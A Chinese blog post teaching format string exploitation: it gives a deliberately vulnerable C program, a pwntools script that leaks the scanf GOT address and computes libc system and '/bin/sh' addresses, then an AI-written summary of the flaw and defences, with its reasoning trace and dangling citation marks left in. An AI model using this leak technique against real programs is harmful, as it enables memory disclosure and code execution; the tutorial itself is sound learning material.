格式化字符串漏洞泄露got表

本文介绍了一种通过PWN技术利用格式化字符串漏洞来泄露内存中特定地址的方法,并展示了如何利用这一技巧获取__isoc99_scanf的真实地址。
#include <stdio.h>
int main() {
  char s[100];
  scanf("%s", s);
  printf(s);
  return 0;
}

编译命令:gcc -m32 -fno-stack-protector -no-pie -o fmt fmt.c
泄露的payload先贴出来,再理解

# coding:utf-8
from pwn import*
from LibcSearcher import *

context.log_level = 'debug'

sh = process('./fmt')
elf = ELF('./fmt')

scanf_got_addr = elf.got['__isoc99_scanf']
print(hex(scanf_got_addr))

payload = p32(scanf_got_addr) + '%7$s'

# pause()
sh.sendline(payload)
# 泄露scanf的真实地址
scanf_addr = u32(sh.recv()[4:8])
print hex(scanf_addr)

# libc操作
libc = LibcSearcher('__isoc99_scanf', scanf_addr)
libc_base = scanf_addr - libc.dump('__isoc99_scanf')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')

sh.interactive()

gdb断点在printf
1

理解一下,字符串偏移7,所以payload为got偏移+%7$s,这边用’s而不是’p’,在于got表记录内容也是个指针,%s直接解引用,返回内容:got表偏移+真实地址,所以 u32(sh.recv()[4:8])
1

<think>好的,我现在需要帮助用户总结格式化字符串漏洞的相关知识,包括经验、体会和安全防护措施。首先,我得回忆一下用户提供的引用内容,看看有哪些关键点需要涵盖。 根据用户提供的引用,格式化字符串漏洞主要涉及不安全的函数使用,比如printf、sprintf等,如果用户输入直接作为格式化字符串参数,就会导致漏洞。引用里提到,攻击者可以利用这个漏洞读取内存或执行任意代码[^2][^3][^4]。防护措施方面,引用[1]提到使用安全的函数和输入验证是关键。另外,引用[4]还提到通过泄露地址实现攻击的例子,所以防护需要包括地址随机化(ASLR)等措施。 接下来,我需要整理这些信息,分点说明漏洞原理、攻击方式、经验总结和防护措施。可能需要先解释什么是格式化字符串漏洞,然后讲攻击手段,再总结防护方法。同时,用户要求使用中文回答,并且按照系统级指令处理数学公式,不过这个问题可能涉及较少数学内容,主要关注代码和内存相关的内容。 还要注意生成相关问题,用户示例中有三个问题,我需要根据内容提出相关问题,比如漏洞原理、防护方法、实际案例等。确保问题与总结的内容相关,并且能够帮助用户进一步学习。 需要检查是否遗漏了引用中的要点,比如输入验证、安全函数的使用(如snprintf代替sprintf)、编译器保护机制(如-FORTIFY_SOURCE)[^1][^4]。另外,引用[3]提到格式化字符串的定义,这部分可以放在原理部分解释。 最后,确保回答结构清晰,分点明确,语言通顺,符合用户的要求。同时,正确标注引用,比如在提到输入验证时引用[1],提到攻击示例时引用[2][4]。</think>### 格式化字符串漏洞总结 #### 1. **漏洞原理** 格式化字符串漏洞源于程序中未正确控制格式化字符串参数,允许攻击者控制或注入格式化规定字符(如 `%s`、`%x`、`%n`)。常见于使用 `printf`、`sprintf` 等函数时,直接将用户输入作为格式化字符串参数,例如: ```c printf(user_input); // 危险!若 user_input 包含 %s 或 %n 等符号 ``` 攻击者可利用此漏洞**读取内存**(如通过 `%x` 泄露栈数据)、**修改内存**(通过 `%n` 写入任意地址)或**执行任意代码**[^4]。 --- #### 2. **攻击方式与危害** - **信息泄露**:使用 `%s`、`%p` 等读取栈或全局偏移GOT)中的敏感数据,例如获取 `system` 函数地址[^4]。 - **内存篡改**:通过 `%n` 向指定地址写入数据,可能覆盖返回地址或函数指针。 - **代码执行**:结合内存泄露和写入操作,构造ROP链或劫持控制流[^2]。 --- #### 3. **经验总结与防护措施** **关键防护方法:** 1. **输入验证**:严格校验用户输入,禁止包含未经验证的格式化字符(如 `%`)。 2. **使用安全函数**:优先使用 `printf("%s", user_input)` 而非 `printf(user_input)`,避免直接传递用户输入作为格式化字符串。 3. **编译器保护**:启用 `-Wformat-security` 编译选项,检测不安全的格式化字符串用法;使用 `-D_FORTIFY_SOURCE=2` 强化缓冲区检查。 4. **内存保护机制**:开启地址随机化(ASLR)和栈保护(Stack Canary),增加攻击难度。 **实践案例:** - 在存在漏洞的函数中,通过 `%s` 泄露GOT地址,结合 `system` 函数实现任意命令执行[^4]。 - 使用 `snprintf` 替代 `sprintf`,限制输出缓冲区大小,防止溢出。 --- #### 4. **体会与建议** - **代码审查重点**:检查所有使用格式化字符串的函数(如 `printf`、`fprintf`),确保参数可控。 - **自动化工具辅助**:利用静态分析工具(如Coverity)扫描潜在漏洞。 - **最小权限原则**:限制程序运行权限,降低漏洞被利用后的影响范围。 ---
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值